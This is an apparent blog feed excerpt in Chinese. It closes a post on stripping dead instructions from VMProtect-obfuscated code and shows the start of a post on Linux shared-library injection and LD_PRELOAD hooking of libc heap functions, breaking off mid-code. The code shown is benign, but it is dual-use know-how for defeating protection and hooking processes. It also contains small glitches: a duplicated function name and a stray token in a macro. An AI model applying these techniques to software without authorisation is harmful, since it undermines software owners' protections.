&lt;&#x2F;span&gt;&lt;span&gt;        InstInfo &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;inst &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= *&lt;&#x2F;span&gt;&lt;span&gt;inst_ptr;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(inst-&amp;gt;isDeleted() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;||&lt;&#x2F;span&gt;&lt;span&gt; inst-&amp;gt;isUseless()) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;continue&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;inst-&amp;gt;isKeep()) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt; t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;(inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;regs_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; last_reg_write) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|| &lt;&#x2F;span&gt;&lt;span&gt;(inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;eflags_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; last_eflags_write);
&lt;&#x2F;span&gt;&lt;span&gt;            inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;regs_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;= ~&lt;&#x2F;span&gt;&lt;span&gt;last_reg_write;
&lt;&#x2F;span&gt;&lt;span&gt;            inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;eflags_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;= ~&lt;&#x2F;span&gt;&lt;span&gt;last_eflags_write;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;regs_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;eflags_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;                inst-&amp;gt;setDeleted(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;continue&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        last_reg_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|=&lt;&#x2F;span&gt;&lt;span&gt; inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;regs_write&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        last_reg_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;= ~&lt;&#x2F;span&gt;&lt;span&gt;inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;regs_read&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        last_eflags_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|=&lt;&#x2F;span&gt;&lt;span&gt; inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;eflags_write&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        last_eflags_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;= ~&lt;&#x2F;span&gt;&lt;span&gt;inst-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;eflags_read&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xiao-guo&quot;&gt;效果&lt;&#x2F;h1&gt;
&lt;p&gt;从vmp中抽取了一小段代码，识别结果如下。红色背景的指令是可以删除的指令，黄色文字的指令是标记需要保留的指令。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;vmpfen-xi-qu-chu-wu-yong-zhi-ling&#x2F;output.png&quot; alt=&quot;output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;通过上面的算法，可以让对vmp的分析更加方便。还可以将它写成IDA、x96dbg的插件，这样可以在动态调试中辅助人工分析。&lt;&#x2F;p&gt;
&lt;p&gt;项目链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;devmp&quot;&gt;ri-char&#x2F;devmp&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>linux动态库编写与注入</title>
        <published>2022-04-10T00:00:00+00:00</published>
        <updated>2022-04-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/linuxdong-tai-ku-bian-xie-yu-zhu-ru/"/>
        <id>https://richar.top/linuxdong-tai-ku-bian-xie-yu-zhu-ru/</id>
        
        <content type="html" xml:base="https://richar.top/linuxdong-tai-ku-bian-xie-yu-zhu-ru/">&lt;h1 id=&quot;dong-tai-ku-bian-xie&quot;&gt;动态库编写&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;jia-zai-shi-jie-shu-shi-yun-xing&quot;&gt;加载时、结束时运行&lt;&#x2F;h2&gt;
&lt;p&gt;通过&lt;code&gt;__attribute__((constructor))&lt;&#x2F;code&gt;修饰的函数在该动态库被加载时进行调用。同样&lt;code&gt;__attribute__((destructor))&lt;&#x2F;code&gt;修饰的函数会在程序正常退出时调用。其原理是将该函数的地址加入至&lt;code&gt;.init_array&lt;&#x2F;code&gt;或&lt;code&gt;.fini_array&lt;&#x2F;code&gt;段中，ld加载时就会调用该函数。&lt;&#x2F;p&gt;
&lt;p&gt;一般来说&lt;code&gt;constructor&lt;&#x2F;code&gt;会更加常用，可以在里面动态地inline hook某些函数或读取&#x2F;修改某些内存的值等等。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdio.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;__attribute__&lt;&#x2F;span&gt;&lt;span&gt;((constructor))
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;constructor&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Library Loaded...&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;__attribute__&lt;&#x2F;span&gt;&lt;span&gt;((destructor))
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;constructor&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Library Removed...&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tong-guo-tong-ming-fu-gai-shi-xian-hookhan-shu&quot;&gt;通过同名覆盖实现hook函数&lt;&#x2F;h2&gt;
&lt;p&gt;这种方式只能用于&lt;code&gt;LD_PRELOAD&lt;&#x2F;code&gt;的方式加载。这边拿hook libc的函数举例，由于指定的动态库会在libc等函数之前加载，因此如果该动态库与libc中有同名函数，则会有限调用我们写的函数。然后在此函数中通过ld提供的&lt;code&gt;dlsym&lt;&#x2F;code&gt;函数加载真实的函数地址，这样就可以在调用真实的函数前后我们进行任意的修改。例如下面是一个能够检测调用libc堆操作的代码。&lt;&#x2F;p&gt;
&lt;p&gt;里面复制了一些libc源码中的宏，以便读取堆块的大小。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;_GNU_SOURCE
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdio.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdint.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;dlfcn.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdlib.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;unlikely&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) __builtin_expect(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(x),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;TRY_LOAD_HOOK_FUNC&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(unlikely(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;g_sys_##name)){ \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;    g_sys_##name&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(sys_##name##_t)dlsym(RTLD_NEXT,#name); \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;__log&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;fprintf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(stderr,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\33&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;[35m&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\033&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;[1m[@]&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\33&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;[0m&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;,##__VA_ARGS__)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;---------------malloc.c-----------------
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#ifndef&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; INTERNAL_SIZE_T
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;# define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;INTERNAL_SIZE_T &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;size_t
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#endif
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;SIZE_SZ (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;sizeof &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(INTERNAL_SIZE_T))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct &lt;&#x2F;span&gt;&lt;span&gt;malloc_chunk {
&lt;&#x2F;span&gt;&lt;span&gt;  INTERNAL_SIZE_T      mchunk_prev_size;
&lt;&#x2F;span&gt;&lt;span&gt;  INTERNAL_SIZE_T      mchunk_size;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct &lt;&#x2F;span&gt;&lt;span&gt;malloc_chunk* fd;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct &lt;&#x2F;span&gt;&lt;span&gt;malloc_chunk* bk;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct &lt;&#x2F;span&gt;&lt;span&gt;malloc_chunk* fd_nextsize;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct &lt;&#x2F;span&gt;&lt;span&gt;malloc_chunk* bk_nextsize;
&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef struct&lt;&#x2F;span&gt;&lt;span&gt; malloc_chunk&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span&gt;mchunkptr;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;chunk2mem&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)   ((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)(p) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;SIZE_SZ))[菜单] 
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;mem2chunk&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;mem&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) ((mchunkptr)((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)(mem) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;SIZE_SZ))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PREV_INUSE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;prev_inuse&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)       ((p)-&amp;gt;mchunk_size &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; PREV_INUSE)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;IS_MMAPPED &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;chunk_is_mmapped&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) ((p)-&amp;gt;mchunk_size &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; IS_MMAPPED)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NON_MAIN_ARENA &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;chunk_main_arena&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) (((p)-&amp;gt;mchunk_size &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; NON_MAIN_ARENA) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;SIZE_BITS (PREV_INUSE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; IS_MMAPPED &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; NON_MAIN_ARENA)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;chunksize&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) (chunksize_nomask (p) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; ~&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(SIZE_BITS))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;chunksize_nomask&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)         ((p)-&amp;gt;mchunk_size)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;next_chunk&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) ((mchunkptr) (((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) (p)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;chunksize (p)))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;prev_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) ((p)-&amp;gt;mchunk_prev_size)
